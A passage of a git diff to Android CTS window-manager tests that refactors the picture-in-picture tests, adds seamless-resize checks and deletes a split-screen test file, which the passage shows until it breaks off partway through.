- false /* moveTopToPinnedStack */, true /* isFocusable */);
+ true /* isFocusable */);
}
@Test
@@ -275,7 +269,7 @@
// compare the bounds with minimal size
final Rect pipBounds = getPinnedStackBounds();
- assertTrue("Pinned stack bounds is no smaller than minimal",
+ assertTrue("Pinned task bounds " + pipBounds + " isn't smaller than minimal " + minSize,
(pipBounds.width() == minSize.getWidth()
&& pipBounds.height() >= minSize.getHeight())
|| (pipBounds.height() == minSize.getHeight()
@@ -602,6 +596,9 @@
@Test
public void testPipUnPipOverHome() throws Exception {
+ // Launch a task behind home to assert that the next fullscreen task isn't visible when
+ // leaving PiP.
+ launchActivity(TEST_ACTIVITY);
// Go home
launchHomeActivity();
// Launch an auto pip activity
@@ -614,6 +611,7 @@
waitForExitPipToFullscreen(PIP_ACTIVITY);
mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
waitForEnterPipAnimationComplete(PIP_ACTIVITY);
+ mWmState.assertVisibility(TEST_ACTIVITY, false);
mWmState.assertHomeActivityVisible(true);
}
@@ -640,9 +638,7 @@
// Launch a pip activity
launchActivity(PIP_ACTIVITY);
int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
// Remove the stack and ensure that the task is now in the fullscreen/freeform stack (when
// no fullscreen/freeform stack existed before)
@@ -658,9 +654,7 @@
launchActivity(PIP_ACTIVITY);
int testAppWindowingMode = mWmState.getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
int pipWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
// Remove the stack and ensure that the task is placed in the fullscreen/freeform stack,
// behind the top fullscreen/freeform activity
@@ -677,9 +671,7 @@
launchHomeActivity();
launchActivity(PIP_ACTIVITY);
int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
// Remove the stack and ensure that the task is placed on top of the hidden
// fullscreen/freeform stack, but that the home stack is still focused
@@ -696,9 +688,7 @@
// Launch a pip activity
launchActivity(PIP_ACTIVITY);
int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
// Remove the stack and ensure that the task is now in the fullscreen/freeform stack (when
// no fullscreen/freeform stack existed before)
@@ -714,9 +704,7 @@
launchActivity(PIP_ACTIVITY);
int testAppWindowingMode = mWmState.getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
int pipWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
// Remove the stack and ensure that the task is placed in the fullscreen/freeform stack,
// behind the top fullscreen/freeform activity
@@ -733,9 +721,7 @@
launchHomeActivity();
launchActivity(PIP_ACTIVITY);
int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
// Remove the stack and ensure that the task is placed on top of the hidden
// fullscreen/freeform stack, but that the home stack is still focused
@@ -868,12 +854,10 @@
public void testConfigurationChangeOrderDuringTransition() throws Exception {
// Launch a PiP activity and ensure configuration change only happened once, and that the
// configuration change happened after the picture-in-picture and multi-window callbacks
- launchActivity(PIP_ACTIVITY);
+ launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
separateTestJournal();
int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
waitForValidPictureInPictureCallbacks(PIP_ACTIVITY);
assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, windowingMode);
@@ -1078,39 +1062,15 @@
}
@Test
- public void testPinnedStackWithDockedStack() throws Exception {
- assumeTrue(supportsSplitScreenMultiWindow());
+ public void testTranslucentActivityOnTopOfPinnedTask() {
+ launchActivity(LAUNCH_PIP_ON_PIP_ACTIVITY);
+ // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
+ // translucent activity.
+ enterPipAndAssertPinnedTaskExists(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
- launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
- waitForEnterPip(PIP_ACTIVITY);
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
- .setRandomData(true)
- .setMultipleTask(false)
- );
- mWmState.assertVisibility(PIP_ACTIVITY, true);
- mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY, true);
-
- // Launch the activities again to take focus and make sure nothing is hidden
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
- .setRandomData(true)
- .setMultipleTask(false)
- );
- mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY, true);
-
- // Go to recents to make sure that fullscreen stack is invisible
- // Some devices do not support recents or implement it differently (instead of using a
- // separate stack id or as an activity), for those cases the visibility asserts will be
- // ignored
- if (pressAppSwitchButtonAndWaitForRecents()) {
- mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY, false);
- }
+ assertPinnedStackIsOnTop();
+ mWmState.assertVisibility(LAUNCH_PIP_ON_PIP_ACTIVITY, true);
+ mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
}
@Test
@@ -1250,9 +1210,7 @@
// Launch the PIP activity with max allowed actions
launchActivity(PIP_ACTIVITY,
extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(maxNumberActions)));
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
}
@@ -1263,13 +1221,43 @@
// Launch the PIP activity with exceeded amount of actions
launchActivity(PIP_ACTIVITY,
extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(maxNumberActions + 1)));
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
}
+ @Test
+ public void testIsSeamlessResizeEnabledDefaultToTrue() {
+ // Launch the PIP activity with some random param without setting isSeamlessResizeEnabled
+ // so the PictureInPictureParams acquired from TaskInfo is not null
+ launchActivity(PIP_ACTIVITY,
+ extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(1)));
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+ // Assert the default value of isSeamlessResizeEnabled is set to true.
+ assertIsSeamlessResizeEnabled(PIP_ACTIVITY, true);
+ }
+
+ @Test
+ public void testDisableIsSeamlessResizeEnabled() {
+ // Launch the PIP activity with overridden isSeamlessResizeEnabled param
+ launchActivity(PIP_ACTIVITY, extraBool(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, false));
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+ // Assert the value of isSeamlessResizeEnabled is overridden.
+ assertIsSeamlessResizeEnabled(PIP_ACTIVITY, false);
+ }
+
+ private void assertIsSeamlessResizeEnabled(ComponentName componentName, boolean expected) {
+ runWithShellPermission(() -> {
+ final ActivityTask task = mWmState.getTaskByActivity(componentName);
+ final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
+ final PictureInPictureParams params = info.getPictureInPictureParams();
+
+ assertEquals(expected, params.isSeamlessResizeEnabled());
+ });
+ }
+
private void assertNumberOfActions(ComponentName componentName, int numberOfActions) {
runWithShellPermission(() -> {
final ActivityTask task = mWmState.getTaskByActivity(componentName);
@@ -1282,6 +1270,12 @@
});
}
+ private void enterPipAndAssertPinnedTaskExists(ComponentName activityName) {
+ mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
+ waitForEnterPip(activityName);
+ assertPinnedStackExists();
+ }
+
/** Get app bounds in last applied configuration. */
private Rect getAppBounds(ComponentName activityName) {
final Configuration config = TestJournalContainer.get(activityName).extras
@@ -1551,17 +1545,10 @@
* if the stack is focused.
*/
private void pinnedStackTester(String startActivityCmd, ComponentName startActivity,
- ComponentName topActivityName, boolean moveTopToPinnedStack, boolean isFocusable) {
+ ComponentName topActivityName, boolean isFocusable) {
executeShellCommand(startActivityCmd);
mWmState.waitForValidState(startActivity);
- if (moveTopToPinnedStack) {
- final int stackId = mWmState.getStackIdByActivity(topActivityName);
-
- assertNotEquals(stackId, INVALID_STACK_ID);
- moveTopActivityToPinnedRootTask(stackId);
- }
-
mWmState.waitForValidState(new WaitForValidActivityState.Builder(topActivityName)
.setWindowingMode(WINDOWING_MODE_PINNED)
.setActivityType(ACTIVITY_TYPE_STANDARD)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
deleted file mode 100644
index cca0beb..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ /dev/null
@@ -1,595 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
-import static android.server.wm.app.Components.DOCKED_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
-import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_INSTANCE_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
-import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
-import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
-import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
-import static android.server.wm.app27.Components.SDK_27_SEPARATE_PROCESS_ACTIVITY;
-import static android.server.wm.app27.Components.SDK_27_TEST_ACTIVITY;
-import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.Surface.ROTATION_0;
-import static android.view.Surface.ROTATION_180;
-import static android.view.Surface.ROTATION_270;
-import static android.view.Surface.ROTATION_90;
-
-import static org.hamcrest.Matchers.lessThan;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.ComponentName;
-import android.graphics.Rect;
-import android.platform.test.annotations.Presubmit;
-import android.server.wm.CommandSession.ActivityCallback;
-
-import androidx.test.filters.FlakyTest;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- * atest CtsWindowManagerDeviceTestCases:SplitScreenTests
- */
-@Presubmit
-@android.server.wm.annotation.Group2
-public class SplitScreenTests extends ActivityManagerTestBase {
-
- private static final int TASK_SIZE = 600;
- private static final int STACK_SIZE = 300;
-
- private boolean mIsHomeRecentsComponent;
-
- @Before
- @Override
- public void setUp() throws Exception {
- super.setUp();
-
- mIsHomeRecentsComponent = mWmState.isHomeRecentsComponent();
-
- assumeTrue("Skipping test: no split multi-window support",
- supportsSplitScreenMultiWindow());
- }
-
- @Test
- public void testMinimumDeviceSize() throws Exception {
- mWmState.assertDeviceDefaultDisplaySizeForMultiWindow(
- "Devices supporting multi-window must be larger than the default minimum"
- + " task size");
- mWmState.assertDeviceDefaultDisplaySizeForSplitScreen(
- "Devices supporting split-screen multi-window must be larger than the"
- + " default minimum display size.");
- }
-
-
-// TODO: Add test to make sure you can't register to split-windowing mode organization if test
-// doesn't support it.
-
-
- @Test
- public void testStackList() throws Exception {
- launchActivity(TEST_ACTIVITY);
- mWmState.computeState(TEST_ACTIVITY);
- mWmState.assertContainsStack("Must contain home stack.",
- WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
- mWmState.assertContainsStack("Must contain standard stack.",
- WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_STANDARD);
- mWmState.assertDoesNotContainStack("Must not contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- }
-
- @Test
- public void testDockActivity() throws Exception {
- launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
- mWmState.assertContainsStack("Must contain home stack.",
- WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- }
-
- @Test
- public void testNonResizeableNotDocked() throws Exception {
- launchActivityInSplitScreenWithRecents(NON_RESIZEABLE_ACTIVITY);
-
- mWmState.assertContainsStack("Must contain home stack.",
- WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
- mWmState.assertDoesNotContainStack("Must not contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertFrontStack("Fullscreen stack must be front stack.",
- WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
- }
-
- @Test
- public void testNonResizeableWhenAlreadyInSplitScreenPrimary() throws Exception {
- launchActivityInSplitScreenWithRecents(SDK_27_LAUNCHING_ACTIVITY);
- launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_UNDEFINED);
-
- mWmState.assertDoesNotContainStack("Must not contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertFrontStack("Fullscreen stack must be front stack.",
- WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-
- waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
- "NON_RESIZEABLE_ACTIVITY launched on default display must be focused");
- }
-
- @Test
- public void testNonResizeableWhenAlreadyInSplitScreenSecondary() throws Exception {
- launchActivityInSplitScreenWithRecents(SDK_27_LAUNCHING_ACTIVITY);
- // Launch home so secondary side as focus.
- launchHomeActivity();
- launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_UNDEFINED);
-
- mWmState.assertDoesNotContainStack("Must not contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertFrontStack("Fullscreen stack must be front stack.",
- WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-
- waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
- "NON_RESIZEABLE_ACTIVITY launched on default display must be focused");
- }
-
- @Test
- public void testLaunchToSide() throws Exception {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- mWmState.assertContainsStack("Must contain fullscreen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- }
-
- @Test
- public void testLaunchToSideMultiWindowCallbacks() throws Exception {
- // Launch two activities in split-screen mode.
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(NO_RELAUNCH_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- mWmState.assertContainsStack("Must contain fullscreen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
- int displayWindowingMode = mWmState.getDisplay(
- mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
- separateTestJournal();
- mTaskOrganizer.dismissedSplitScreen();
- if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
- // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
- final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
- NO_RELAUNCH_ACTIVITY);
- assertEquals(1,
- lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
- } else {
- // Display is not a fullscreen display, so there won't be a multi-window callback.
- // Instead just verify that windows are not in split-screen anymore.
- waitForIdle();
- mWmState.computeState();
- mWmState.assertDoesNotContainStack("Must have exited split-screen",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- }
- }
-
- @Test
- public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
- launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
- // Move to docked stack.
- separateTestJournal();
- setActivityTaskWindowingMode(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
- ActivityLifecycleCounts lifecycleCounts =
- waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
- assertEquals("mMultiWindowModeChangedCount",
- 1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
- assertEquals("mUserLeaveHintCount",
- 0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
-
- // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
- // will come up.
- launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
- // Move activity back to fullscreen stack.
- separateTestJournal();
- setActivityTaskWindowingMode(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
- lifecycleCounts = waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
- assertEquals("mMultiWindowModeChangedCount",
- 1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
- assertEquals("mUserLeaveHintCount",
- 0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
- }
-
- @Test
- public void testLaunchToSideAndBringToFront() throws Exception {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-
- int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- mWmState.assertFocusedActivity("Launched to side activity must be in front.",
- TEST_ACTIVITY);
-
- // Launch another activity to side to cover first one.
- launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
- int taskNumberCovered = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- assertEquals("Fullscreen stack must have one task added.",
- taskNumberInitial + 1, taskNumberCovered);
- mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
- NO_RELAUNCH_ACTIVITY);
-
- // Launch activity that was first launched to side. It should be brought to front.
- getLaunchActivityBuilder()
- .setTargetActivity(TEST_ACTIVITY)
- .setToSide(true)
- .setWaitForLaunched(true)
- .execute();
- int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- assertEquals("Task number in fullscreen stack must remain the same.",
- taskNumberCovered, taskNumberFinal);
- mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
- TEST_ACTIVITY);
- }
-
- @Test
- public void testLaunchToSideMultiple() throws Exception {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-
- int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- assertNotNull("Launched to side activity must be in fullscreen stack.",
- mWmState.getTaskByActivity(
- TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
- // Try to launch to side same activity again.
- getLaunchActivityBuilder().setToSide(true).execute();
- mWmState.computeState(TEST_ACTIVITY, LAUNCHING_ACTIVITY);
- int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
- mWmState.assertFocusedActivity("Launched to side activity must remain in front.",
- TEST_ACTIVITY);
- assertNotNull("Launched to side activity must remain in fullscreen stack.",
- mWmState.getTaskByActivity(
- TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
- }
-
- @Test
- public void testLaunchToSideSingleInstance() throws Exception {
- launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
- }
-
- @Test
- public void testLaunchToSideSingleTask() throws Exception {
- launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
- }
-
- @Test
- public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
- launchTargetToSide(TEST_ACTIVITY, true);
- }
-
- private void launchTargetToSide(ComponentName targetActivityName,
- boolean taskCountMustIncrement) throws Exception {
- // Launch in fullscreen first
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY)
- .setUseInstrumentation()
- .setWaitForLaunched(true)
- .execute();
-
- // Move to split-screen primary
- final int taskId = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
- moveTaskToPrimarySplitScreen(taskId, true /* showSideActivity */);
-
- // Launch target to side
- final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
- .setTargetActivity(targetActivityName)
- .setToSide(true)
- .setRandomData(true)
- .setMultipleTask(false);
- targetActivityLauncher.execute();
-
- mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
- mWmState.assertContainsStack("Must contain secondary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- assertNotNull("Launched to side activity must be in fullscreen stack.",
- mWmState.getTaskByActivity(
- targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
- // Try to launch to side same activity again with different data.
- targetActivityLauncher.execute();
- mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
- int taskNumberSecondLaunch = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- if (taskCountMustIncrement) {
- assertEquals("Task number must be incremented.", taskNumberInitial + 1,
- taskNumberSecondLaunch);
- } else {
- assertEquals("Task number must not change.", taskNumberInitial,
- taskNumberSecondLaunch);
- }
- mWmState.assertFocusedActivity("Launched to side activity must be in front.",
- targetActivityName);
- assertNotNull("Launched to side activity must be launched in fullscreen stack.",
- mWmState.getTaskByActivity(
- targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
- // Try to launch to side same activity again with different random data. Note that null
- // cannot be used here, since the first instance of TestActivity is launched with no data
- // in order to launch into split screen.
- targetActivityLauncher.execute();
- mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
- int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- if (taskCountMustIncrement) {
- assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
- taskNumberFinal);
- } else {
- assertEquals("Task number must not change.", taskNumberSecondLaunch,
- taskNumberFinal);
- }
- mWmState.assertFocusedActivity("Launched to side activity must be in front.",
- targetActivityName);
- assertNotNull("Launched to side activity must be launched in fullscreen stack.",
- mWmState.getTaskByActivity(
- targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
- }
-
- @Test
- public void testLaunchToSideMultipleWithFlag() throws Exception {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- assertNotNull("Launched to side activity must be in fullscreen stack.",
- mWmState.getTaskByActivity(
- TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
- // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
- getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
- mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- assertEquals("Task number must be incremented.", taskNumberInitial + 1,
- taskNumberFinal);
- mWmState.assertFocusedActivity("Launched to side activity must be in front.",
- TEST_ACTIVITY);
- assertNotNull("Launched to side activity must remain in fullscreen stack.",
- mWmState.getTaskByActivity(
- TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
- }
-
- @Test
- public void testRotationWhenDocked() {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- mWmState.assertContainsStack("Must contain fullscreen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
- // Rotate device single steps (90°) 0-1-2-3.
- // Each time we compute the state we implicitly assert valid bounds.
- final RotationSession rotationSession = createManagedRotationSession();
- for (int i = 0; i < 4; i++) {
- rotationSession.set(i);
- mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- }
- // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for
- // double step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
- rotationSession.set(ROTATION_90);
- mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- rotationSession.set(ROTATION_270);
- mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- rotationSession.set(ROTATION_0);
- mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- rotationSession.set(ROTATION_180);
- mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- rotationSession.set(ROTATION_0);
